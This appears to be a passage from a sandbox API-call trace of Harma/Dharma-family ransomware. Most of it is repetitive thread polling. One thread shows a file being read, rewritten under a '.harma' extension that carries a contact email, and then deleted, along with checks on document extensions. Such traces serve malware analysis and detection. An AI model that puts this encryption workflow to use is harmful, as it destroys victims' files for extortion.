[0042.388] GetTickCount () returned 0x11437c3 [0042.389] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0043.802] GetTickCount () returned 0x1143978 [0043.802] GetTickCount () returned 0x1143978 [0043.802] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0044.222] GetTickCount () returned 0x1143b1d [0044.222] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0044.545] GetTickCount () returned 0x1143bc9 [0044.545] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0044.930] GetTickCount () returned 0x1143d4f [0044.930] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0045.298] GetTickCount () returned 0x1143ec5 [0045.298] GetTickCount () returned 0x1143ec5 [0045.298] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.075] GetTickCount () returned 0x1144116 [0046.075] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.290] GetTickCount () returned 0x11441d1 [0046.290] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.755] GetTickCount () returned 0x1144348 [0046.755] GetTickCount () returned 0x1144348 [0046.756] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0047.044] GetTickCount () returned 0x1144461 [0047.044] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0047.317] GetTickCount () returned 0x114455a [0047.317] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0047.533] GetTickCount () returned 0x1144606 [0047.533] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0047.710] GetTickCount () returned 0x11446a2 [0047.710] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0048.094] GetTickCount () returned 0x1144828 [0048.094] GetTickCount () returned 0x1144828 [0048.094] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0048.405] GetTickCount () returned 0x1144950 [0048.405] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0048.592] GetTickCount () returned 0x1144a0b [0048.592] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0048.857] GetTickCount () returned 0x1144b15 [0048.857] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0049.275] GetTickCount () returned 0x1144c8b [0049.275] GetTickCount () returned 0x1144c8b [0049.275] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0049.760] GetTickCount () returned 0x1144e7e [0049.760] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0050.138] GetTickCount () returned 0x1144fa7 [0050.138] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0050.457] GetTickCount () returned 0x11450df [0050.457] GetTickCount () returned 0x11450df [0050.457] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0051.209] GetTickCount () returned 0x11452a3 [0051.209] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0051.806] GetTickCount () returned 0x1145477 [0051.806] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.234] GetTickCount () returned 0x11455fd [0052.234] GetTickCount () returned 0x11455fd [0052.234] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.789] GetTickCount () returned 0x114582f [0052.789] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0053.051] GetTickCount () returned 0x1145909 [0053.051] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0053.415] GetTickCount () returned 0x1145a70 [0053.415] GetTickCount () returned 0x1145a70 [0053.415] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0053.607] GetTickCount () returned 0x1145b2b [0053.607] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0053.985] GetTickCount () returned 0x1145ca1 [0053.985] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0054.313] GetTickCount () returned 0x1145dba [0054.313] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0054.674] GetTickCount () returned 0x1145f31 [0054.674] GetTickCount () returned 0x1145f31 [0054.674] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.069] GetTickCount () returned 0x11460b7 [0055.069] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.386] GetTickCount () returned 0x11461ef [0055.386] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.659] GetTickCount () returned 0x1146307 [0055.659] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0056.030] GetTickCount () returned 0x114645f [0056.030] GetTickCount () returned 0x114645f [0056.030] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0056.392] GetTickCount () returned 0x11465d5 [0056.392] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0056.781] GetTickCount () returned 0x114674b [0056.781] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0057.373] GetTickCount () returned 0x114699c [0057.373] GetTickCount () returned 0x114699c [0057.373] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0057.740] GetTickCount () returned 0x1146af3 [0057.740] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0058.045] GetTickCount () returned 0x1146c2b [0058.045] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0059.111] GetTickCount () returned 0x1147050 [0059.112] GetTickCount () returned 0x1147050 [0059.112] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0059.463] GetTickCount () returned 0x11471b7 [0059.463] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0059.840] GetTickCount () returned 0x114731e [0059.840] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0060.167] GetTickCount () returned 0x1147465 [0060.167] GetTickCount () returned 0x1147465 [0060.167] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0060.489] GetTickCount () returned 0x114759d [0060.490] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0060.675] GetTickCount () returned 0x1147659 [0060.675] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0061.880] GetTickCount () returned 0x1147afa [0061.880] GetTickCount () returned 0x1147afa [0061.880] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0062.373] GetTickCount () returned 0x1147ced [0062.373] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0062.795] GetTickCount () returned 0x1147e93 [0062.795] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0063.140] GetTickCount () returned 0x1147fea [0063.140] GetTickCount () returned 0x1147fea [0063.140] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0063.986] GetTickCount () returned 0x1148334 [0063.986] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0064.304] GetTickCount () returned 0x114847c [0064.304] GetTickCount () returned 0x114847c [0064.304] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0064.704] GetTickCount () returned 0x1148611 [0064.704] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0065.114] GetTickCount () returned 0x11487a7 [0065.114] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0065.361] GetTickCount () returned 0x11488a1 [0065.361] GetTickCount () returned 0x11488a1 [0065.361] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0065.552] GetTickCount () returned 0x114895c [0065.552] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0065.754] GetTickCount () returned 0x1148a27 [0065.754] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0065.937] GetTickCount () returned 0x1148ae2 [0065.937] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0066.314] GetTickCount () returned 0x1148c58 [0066.314] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0066.477] GetTickCount () returned 0x1148cf4 [0066.477] GetTickCount () returned 0x1148cf4 [0066.477] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0067.949] GetTickCount () returned 0x11492be [0067.949] GetTickCount () returned 0x11492be [0067.949] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0068.392] GetTickCount () returned 0x1149473 [0068.392] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0068.800] GetTickCount () returned 0x1149609 [0068.800] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0x9cc [0038.297] GetTickCount () returned 0x1142d48 [0038.297] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x24) returned 0x61f828 [0038.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61f828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0038.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61f828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0038.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61f828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0038.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61f828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0038.308] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0330 [0038.308] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0330, Size=0x20) returned 0x63fa90 [0038.308] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0330 [0038.308] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0330, Size=0x20) returned 0x63fab8 [0038.308] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0038.309] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0038.309] Wow64DisableWow64FsRedirection (in: OldValue=0x268ff84 | out: OldValue=0x268ff84*=0x0) returned 1 [0038.309] lstrlenW (lpString="kernel32.dll") returned 12 [0038.309] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fa90 | out: hHeap=0x5a0000) returned 1 [0038.309] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0038.309] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fab8 | out: hHeap=0x5a0000) returned 1 [0038.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5fd438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0038.311] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0038.848] GetTickCount () returned 0x1142de4 [0038.848] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0039.525] GetTickCount () returned 0x1142ece [0039.525] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0039.756] GetTickCount () returned 0x1142fb8 [0039.756] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0039.957] GetTickCount () returned 0x1143083 [0039.957] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.270] GetTickCount () returned 0x114316d [0040.270] GetTickCount () returned 0x114316d [0040.270] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.382] GetTickCount () returned 0x11431da [0040.382] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.794] GetTickCount () returned 0x1143370 [0040.794] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.332] GetTickCount () returned 0x1143582 [0041.332] GetTickCount () returned 0x1143582 [0041.332] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.188] GetTickCount () returned 0x11436f9 [0042.188] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.388] GetTickCount () returned 0x11437c3 [0042.388] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.802] GetTickCount () returned 0x1143978 [0043.802] GetTickCount () returned 0x1143978 [0043.802] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.221] GetTickCount () returned 0x1143b1d [0044.221] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.545] GetTickCount () returned 0x1143bc9 [0044.545] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.929] GetTickCount () returned 0x1143d4f [0044.930] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.298] GetTickCount () returned 0x1143ec5 [0045.298] GetTickCount () returned 0x1143ec5 [0045.298] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.074] GetTickCount () returned 0x1144116 [0046.074] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.290] GetTickCount () returned 0x11441d1 [0046.290] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.755] GetTickCount () returned 0x1144348 [0046.755] GetTickCount () returned 0x1144348 [0046.755] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.044] GetTickCount () returned 0x1144461 [0047.044] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.317] GetTickCount () returned 0x114455a [0047.317] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.533] GetTickCount () returned 0x1144606 [0047.533] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.710] GetTickCount () returned 0x11446a2 [0047.710] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.093] GetTickCount () returned 0x1144828 [0048.093] GetTickCount () returned 0x1144828 [0048.094] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.405] GetTickCount () returned 0x1144950 [0048.405] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.592] GetTickCount () returned 0x1144a0b [0048.592] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.857] GetTickCount () returned 0x1144b15 [0048.857] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.274] GetTickCount () returned 0x1144c8b [0049.274] GetTickCount () returned 0x1144c8b [0049.274] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.759] GetTickCount () returned 0x1144e7e [0049.759] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.137] GetTickCount () returned 0x1144fa7 [0050.137] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.457] GetTickCount () returned 0x11450df [0050.457] GetTickCount () returned 0x11450df [0050.457] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.209] GetTickCount () returned 0x11452a3 [0051.209] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.805] GetTickCount () returned 0x1145477 [0051.805] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.234] GetTickCount () returned 0x11455fd [0052.234] GetTickCount () returned 0x11455fd [0052.234] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.789] GetTickCount () returned 0x114582f [0052.789] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.051] GetTickCount () returned 0x1145909 [0053.051] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.415] GetTickCount () returned 0x1145a70 [0053.415] GetTickCount () returned 0x1145a70 [0053.415] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.607] GetTickCount () returned 0x1145b2b [0053.607] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.984] GetTickCount () returned 0x1145ca1 [0053.984] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.313] GetTickCount () returned 0x1145dba [0054.313] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.674] GetTickCount () returned 0x1145f31 [0054.674] GetTickCount () returned 0x1145f31 [0054.674] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.069] GetTickCount () returned 0x11460b7 [0055.069] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.386] GetTickCount () returned 0x11461ef [0055.386] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.659] GetTickCount () returned 0x1146307 [0055.659] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.029] GetTickCount () returned 0x114645f [0056.029] GetTickCount () returned 0x114645f [0056.029] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.341] GetTickCount () returned 0x1146597 [0056.341] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.777] GetTickCount () returned 0x114673c [0056.777] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.372] GetTickCount () returned 0x114699c [0057.373] GetTickCount () returned 0x114699c [0057.373] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.740] GetTickCount () returned 0x1146af3 [0057.740] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0058.045] GetTickCount () returned 0x1146c2b [0058.045] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0059.111] GetTickCount () returned 0x1147050 [0059.111] GetTickCount () returned 0x1147050 [0059.111] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0059.444] GetTickCount () returned 0x11471b7 [0059.463] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0059.840] GetTickCount () returned 0x114731e [0059.840] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.167] GetTickCount () returned 0x1147465 [0060.167] GetTickCount () returned 0x1147465 [0060.167] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.455] GetTickCount () returned 0x114758e [0060.478] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.675] GetTickCount () returned 0x1147659 [0060.675] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0061.880] GetTickCount () returned 0x1147afa [0061.880] GetTickCount () returned 0x1147afa [0061.880] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0062.362] GetTickCount () returned 0x1147ced [0062.373] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0062.795] GetTickCount () returned 0x1147e93 [0062.795] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0063.139] GetTickCount () returned 0x1147fea [0063.139] GetTickCount () returned 0x1147fea [0063.139] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0063.986] GetTickCount () returned 0x1148334 [0063.986] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0064.304] GetTickCount () returned 0x114847c [0064.304] GetTickCount () returned 0x114847c [0064.304] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0064.704] GetTickCount () returned 0x1148611 [0064.704] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0065.114] GetTickCount () returned 0x11487a7 [0065.114] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0065.361] GetTickCount () returned 0x11488a1 [0065.361] GetTickCount () returned 0x11488a1 [0065.361] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0065.552] GetTickCount () returned 0x114895c [0065.552] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0065.754] GetTickCount () returned 0x1148a27 [0065.754] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0065.937] GetTickCount () returned 0x1148ae2 [0065.937] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0066.314] GetTickCount () returned 0x1148c58 [0066.314] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0066.477] GetTickCount () returned 0x1148cf4 [0066.477] GetTickCount () returned 0x1148cf4 [0066.477] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0067.949] GetTickCount () returned 0x11492be [0067.949] GetTickCount () returned 0x11492be [0067.949] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0068.392] GetTickCount () returned 0x1149473 [0068.392] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0068.800] GetTickCount () returned 0x1149609 [0068.800] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) Thread: id = 9 os_tid = 0x9d0 [0038.298] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x61fa68 [0038.298] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x62fa70 [0038.298] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0270 [0038.298] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5da368 [0038.298] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0288 [0038.298] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x2f10020 [0038.299] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f02a0 [0038.299] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f02a0, Size=0x20) returned 0x63fa90 [0038.299] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f02a0 [0038.299] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f02a0, Size=0x20) returned 0x63fab8 [0038.299] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0038.299] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0038.299] Wow64DisableWow64FsRedirection (in: OldValue=0x238ff58 | out: OldValue=0x238ff58*=0x0) returned 1 [0038.299] lstrlenW (lpString="kernel32.dll") returned 12 [0038.299] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fa90 | out: hHeap=0x5a0000) returned 1 [0038.299] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0038.299] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fab8 | out: hHeap=0x5a0000) returned 1 [0038.299] Sleep (dwMilliseconds=0x64) [0038.847] Sleep (dwMilliseconds=0x64) [0039.496] lstrcmpiW (lpString1=".ini", lpString2=".harma") returned 1 [0039.496] lstrlenW (lpString="desktop.ini") returned 11 [0039.496] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0039.496] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=129) returned 1 [0039.496] CloseHandle (hObject=0x164) returned 1 [0039.496] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0039.497] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.497] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0039.497] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.497] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.497] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.498] GetLastError () returned 0x0 [0039.498] ReadFile (in: hFile=0x164, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x81, lpOverlapped=0x0) returned 1 [0039.513] WriteFile (in: hFile=0x168, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x90, lpOverlapped=0x0) returned 1 [0039.514] ReadFile (in: hFile=0x164, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.514] WriteFile (in: hFile=0x168, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0039.514] SetEndOfFile (hFile=0x168) returned 1 [0039.514] CloseHandle (hObject=0x168) returned 1 [0039.516] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.516] SetEndOfFile (hFile=0x164) returned 1 [0039.517] CloseHandle (hObject=0x164) returned 1 [0039.517] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x26) returned 1 [0039.517] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0039.518] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.518] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0039.518] lstrlenW (lpString=".doc") returned 4 [0039.518] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0039.518] lstrlenW (lpString=".docx") returned 5 [0039.518] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0039.518] lstrlenW (lpString=".pdf") returned 4 [0039.518] 